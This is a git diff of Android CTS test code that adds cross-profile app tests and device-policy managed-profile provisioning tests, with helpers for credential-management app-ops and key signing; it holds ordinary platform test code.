+    private void removeCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to remove credential management app",
+                    KeyChain.removeCredentialManagementApp(CONTEXT));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    }
+
+    private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
+            throws Exception {
+        String command = "appops set --user " + userId + " " + packageName + " " +
+                "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
+            throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature verify = Signature.getInstance(algoIdentifier);
+        verify.initVerify(publicKey);
+        verify.update(data);
+        assertThat(verify.verify(signature)).isTrue();
+    }
+
+    private void verifySignatureOverData(String algoIdentifier, KeyPair keyPair) throws Exception {
+        verifySignature(algoIdentifier, keyPair.getPublic(),
+                signDataWithKey(algoIdentifier, keyPair.getPrivate()));
+    }
+
+    private byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
+        byte[] data = "hello".getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        return sign.sign();
+    }
+
+    private static PrivateKey getPrivateKey(final byte[] key, String type) {
+        try {
+            return KeyFactory.getInstance(type).generatePrivate(
+                    new PKCS8EncodedKeySpec(key));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private static Certificate getCertificate(byte[] cert) {
+        try {
+            return CertificateFactory.getInstance("X.509").generateCertificate(
+                    new ByteArrayInputStream(cert));
+        } catch (CertificateException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
+
+    private boolean isCredentialManagementApp() {
+        AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
+        return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
+                Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
+    }
+
+    private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
+        return new KeyGenParameterSpec.Builder(
+                alias,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setKeySize(2048)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                .setIsStrongBoxBacked(useStrongBox)
+                .build();
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
new file mode 100644
index 0000000..c7e8c07
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -0,0 +1,335 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.CrossProfileApps;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser;
+import com.android.bedstead.harrier.policies.TestPolicy;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(BedsteadJUnit4.class)
+public final class CrossProfileAppsTest {
+
+    private static final String ID_USER_TEXTVIEW =
+            "com.android.cts.devicepolicy:id/user_textview";
+    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final CrossProfileApps sCrossProfileApps =
+            sContext.getSystemService(CrossProfileApps.class);
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainPrimaryUser() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(sDeviceState.primaryUser().userHandle());
+    }
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainSecondaryUser() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(sDeviceState.secondaryUser().userHandle());
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromWorkProfile_containsPrimaryUser() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).contains(sDeviceState.primaryUser().userHandle());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_containsWorkProfile() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).contains(sDeviceState.workProfile().userHandle());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile(installTestApp = false)
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromPrimaryUser_appNotInstalledInWorkProfile_doesNotContainWorkProfile() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(sDeviceState.workProfile().userHandle());
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void getTargetUserProfiles_callingFromSecondaryUser_doesNotContainWorkProfile() {
+        List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
+
+        assertThat(targetProfiles).doesNotContain(
+                sDeviceState.workProfile(/* forUser= */ PRIMARY_USER).userHandle());
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Ignore // TODO(scottjonathan): Replace use of UIAutomator
+    @Postsubmit(reason="new test")
+    public void startMainActivity_callingFromWorkProfile_targetIsPrimaryUser_launches() {
+        sCrossProfileApps.startMainActivity(
+                new ComponentName(sContext, MainActivity.class),
+                sDeviceState.workProfile().userHandle());
+
+        assertMainActivityLaunchedForUser(sDeviceState.primaryUser().userHandle());
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Ignore // TODO(scottjonathan): Replace use of UIAutomator
+    @Postsubmit(reason="new test")
+    public void startMainActivity_callingFromPrimaryUser_targetIsWorkProfile_launches() {
+        sCrossProfileApps.startMainActivity(
+                new ComponentName(sContext, MainActivity.class),
+                sDeviceState.workProfile().userHandle());
+
+        assertMainActivityLaunchedForUser(sDeviceState.workProfile().userHandle());
+    }
+
+    private void assertMainActivityLaunchedForUser(UserHandle user) {
+        // TODO(scottjonathan): Replace this with a standard event log or similar to avoid UI
+        // Look for the text view to verify that MainActivity is started.
+        UiObject2 textView = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+                .wait(
+                        Until.findObject(By.res(ID_USER_TEXTVIEW)),
+                        TIMEOUT_WAIT_UI);
+        assertWithMessage("Failed to start activity in target user")
+                .that(textView).isNotNull();
+        // Look for the text in textview, it should be the serial number of target user.
+        assertWithMessage("Activity is started in wrong user")
+                .that(textView.getText())
+                .isEqualTo(String.valueOf(sUserManager.getSerialNumberForUser(user)));
+    }
+
+    @Test
+    @Postsubmit(reason="new test")
+    public void startMainActivity_activityNotExported_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, NonExportedActivity.class),
+                    sDeviceState.primaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @Postsubmit(reason="new test")
+    public void startMainActivity_activityNotMain_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, NonMainActivity.class),
+                    sDeviceState.primaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @Ignore // TODO(scottjonathan): This requires another app to be installed which can be launched
+    @Postsubmit(reason="new test")
+    public void startMainActivity_activityIncorrectPackage_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void
+            startMainActivity_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, MainActivity.class),
+                    sDeviceState.primaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void
+    startMainActivity_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, MainActivity.class),
+                    sDeviceState.secondaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void
+    startMainActivity_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.startMainActivity(
+                    new ComponentName(sContext, MainActivity.class),
+                    sDeviceState.workProfile(/* forUser= */ PRIMARY_USER).userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.primaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingLabel(sDeviceState.primaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingLabel(
+                    sDeviceState.workProfile(/* forUser= */ PRIMARY_USER).userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromWorProfile_targetIsPrimaryUser_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingLabel(
+                sDeviceState.primaryUser().userHandle())).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabel_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingLabel(
+                sDeviceState.workProfile().userHandle())).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsPrimaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingIconDrawable(
+                    sDeviceState.primaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabelIconDrawable_callingFromPrimaryUser_targetIsSecondaryUser_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingIconDrawable(
+                    sDeviceState.secondaryUser().userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnSecondaryUser
+    @EnsureHasWorkProfile(forUser = PRIMARY_USER)
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingLabelIconDrawable_callingFromSecondaryUser_targetIsWorkProfile_throwsSecurityException() {
+        assertThrows(SecurityException.class, () -> {
+            sCrossProfileApps.getProfileSwitchingIconDrawable(
+                    sDeviceState.workProfile(/* forUser= */ PRIMARY_USER).userHandle());
+        });
+    }
+
+    @Test
+    @RequireRunOnWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingIconDrawable_callingFromWorkProfile_targetIsPrimaryUser_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
+                sDeviceState.primaryUser().userHandle())).isNotNull();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="new test")
+    public void getProfileSwitchingIconDrawable_callingFromPrimaryUser_targetIsWorkProfile_notNull() {
+        assertThat(sCrossProfileApps.getProfileSwitchingIconDrawable(
+                sDeviceState.workProfile().userHandle())).isNotNull();
+    }
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
new file mode 100644
index 0000000..c28b2c9
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DevicePolicyManagerTest.java
@@ -0,0 +1,687 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.AppOpsManager.MODE_ALLOWED;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.FullyManagedDeviceProvisioningParams;
+import android.app.admin.ManagedProfileProvisioningParams;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.content.pm.CrossProfileApps;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.provider.Settings;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.deviceadminapp.DeviceAdminApp;
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.Package;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.stream.Collectors;
+
+@RunWith(BedsteadJUnit4.class)
+public final class DevicePolicyManagerTest {
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final DevicePolicyManager sDevicePolicyManager =
+            sContext.getSystemService(DevicePolicyManager.class);
+    private static final UiAutomation sUiAutomation =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    private static final PackageManager sPackageManager = sContext.getPackageManager();
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
+    private static final SharedPreferences sSharedPreferences =
+            sContext.getSharedPreferences("required-apps.txt", Context.MODE_PRIVATE);
+    private static final TestApis sTestApis = new TestApis();
+
+    private static final ComponentName DEVICE_ADMIN_COMPONENT_NAME =
+            DeviceAdminApp.deviceAdminComponentName(sContext);
+
+    private static final String PROFILE_OWNER_NAME = "testDeviceAdmin";
+    private static final String DEVICE_OWNER_NAME = "testDeviceAdmin";
+
+    private static final String ACCOUNT_NAME = "CTS";
+    private static final String ACCOUNT_TYPE = "com.android.cts.test";
+    private static final Account TEST_ACCOUNT = new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
+
+    private static final String USER_SETUP_COMPLETE_KEY = "user_setup_complete";
+
+    private static final String KEY_PRE_PROVISIONING_SYSTEM_APPS = "pre_provisioning_system_apps";
+    private static final String KEY_PRE_PROVISIONING_NON_SYSTEM_APPS =
+            "pre_provisioning_non_system_apps";
+
+    private static final String SET_DEVICE_OWNER_ACTIVE_ADMIN_COMMAND =
+            "dpm set-active-admin --user cur " + DEVICE_ADMIN_COMPONENT_NAME.flattenToString();
+    private static final String SET_DEVICE_OWNER_COMMAND =
+            "dpm set-device-owner --user cur " + DEVICE_ADMIN_COMPONENT_NAME.flattenToString();
+    private static final String REMOVE_ACTIVE_ADMIN_COMMAND =
+            "dpm remove-active-admin --user cur " + DEVICE_ADMIN_COMPONENT_NAME.flattenToString();
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void newlyProvisionedManagedProfile_createsProfile() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder().build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(profile).isNotNull();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void newlyProvisionedManagedProfile_createsManagedProfile() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder().build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(sUserManager.isManagedProfile(profile.getIdentifier())).isTrue();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void newlyProvisionedManagedProfile_setsActiveAdmin() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder().build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(getDpmForUser(profile).getActiveAdmins()).hasSize(1);
+            assertThat(getDpmForUser(profile).getActiveAdmins().get(0))
+                    .isEqualTo(DEVICE_ADMIN_COMPONENT_NAME);
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void newlyProvisionedManagedProfile_setsProfileOwner() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder().build();
+            profile = provisionManagedProfile(params);
+
+            DevicePolicyManager profileDpm = getDpmForUser(profile);
+            assertThat(profileDpm.isProfileOwnerApp(sContext.getPackageName())).isTrue();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="new test")
+    @Ignore
+    public void newlyProvisionedManagedProfile_copiesAccountToProfile() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            // TODO(kholoudm): Add account to account manager once the API is ready in Nene
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder()
+                            .setAccountToMigrate(TEST_ACCOUNT)
+                            .build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(hasTestAccount(profile)).isTrue();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="new test")
+    public void newlyProvisionedManagedProfile_removesAccountFromParentByDefault()
+            throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            // TODO(kholoudm): Add account to account manager once the API is ready in Nene
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder()
+                            .setAccountToMigrate(TEST_ACCOUNT)
+                            .build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(hasTestAccount(sContext.getUser())).isFalse();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Ignore
+    @Postsubmit(reason="new test")
+    public void newlyProvisionedManagedProfile_keepsAccountInParentIfRequested() throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            // TODO(kholoudm): Add account to account manager once the API is ready in Nene
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder()
+                            .setAccountToMigrate(TEST_ACCOUNT)
+                            .setKeepAccountMigrated(true)
+                            .build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(hasTestAccount(sContext.getUser())).isTrue();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="new test")
+    public void newlyProvisionedManagedProfile_removesNonRequiredAppsFromProfile()
+            throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            Set<String> nonRequiredApps = sDevicePolicyManager.getDisallowedSystemApps(
+                    DEVICE_ADMIN_COMPONENT_NAME,
+                    sContext.getUserId(),
+                    DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE);
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder().build();
+            profile = provisionManagedProfile(params);
+
+            assertThat(getInstalledPackagesOnUser(nonRequiredApps, profile)).isEmpty();
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    @RequireFeatures({
+            PackageManager.FEATURE_DEVICE_ADMIN,
+            PackageManager.FEATURE_MANAGED_USERS
+    })
+    @Test
+    @Postsubmit(reason="new test")
+    public void newlyProvisionedManagedProfile_setsCrossProfilePackages()
+            throws Exception {
+        UserHandle profile = null;
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            ManagedProfileProvisioningParams params =
+                    createManagedProfileProvisioningParamsBuilder().build();
+            profile = provisionManagedProfile(params);
+
+            Set<String> crossProfilePackages = getConfigurableDefaultCrossProfilePackages();
+            for(String crossProfilePackage : crossProfilePackages) {
+                assertIsCrossProfilePackageIfInstalled(crossProfilePackage);
+            }
+
+        } finally {
+            if (profile != null) {
+                sTestApis.users().find(profile).remove();
+            }
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private void assertIsCrossProfilePackageIfInstalled(String packageName) throws Exception {
+        if (!isPackageInstalledOnCurrentUser(packageName)) {
+            return;
+        }
+        for (UserHandle profile : sUserManager.getUserProfiles()) {
+            assertThat(isCrossProfilePackage(packageName, profile)).isTrue();
+        }
+    }
+
+    private boolean isCrossProfilePackage(String packageName, UserHandle profile)
+            throws Exception {
+        return getCrossProfileAppOp(packageName, profile) == MODE_ALLOWED;
+    }
+
+    private int getCrossProfileAppOp(String packageName, UserHandle userHandle) throws Exception {
+        return sContext.getSystemService(AppOpsManager.class).unsafeCheckOpNoThrow(
+                AppOpsManager.permissionToOp(android.Manifest.permission.INTERACT_ACROSS_PROFILES),
+                getUidForPackageName(packageName, userHandle),
+                packageName);
+    }
+
+    private int getUidForPackageName(String packageName, UserHandle userHandle) throws Exception {
+        return sContext.createContextAsUser(userHandle, /* flags= */ 0)
+                .getPackageManager()
+                .getPackageUid(packageName, /* flags= */ 0);
+    }
+
+    private UserHandle provisionManagedProfile(ManagedProfileProvisioningParams params)
+            throws Exception {
+        return sDevicePolicyManager.createAndProvisionManagedProfile(params);
+    }
+
+    private ManagedProfileProvisioningParams.Builder
+    createManagedProfileProvisioningParamsBuilder() {
+        return new ManagedProfileProvisioningParams.Builder(
+                        DEVICE_ADMIN_COMPONENT_NAME,
+                        PROFILE_OWNER_NAME);
+    }
+
+    private boolean hasTestAccount(UserHandle user) {
+        AccountManager am = getContextForUser(user).getSystemService(AccountManager.class);
+        Account[] userAccounts = am.getAccountsByType(ACCOUNT_TYPE);
+        for (Account account : userAccounts) {
+            if (TEST_ACCOUNT.equals(account)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private Set<String> getInstalledPackagesOnUser(Set<String> packages, UserHandle user) {
+        return packages.stream().filter(p -> isPackageInstalledOnUser(p, user))
+                .collect(Collectors.toSet());
+    }
+
+    private boolean isPackageInstalledOnCurrentUser(String packageName) {
+        return isPackageInstalledOnUser(packageName, sContext.getUser());
+    }
+
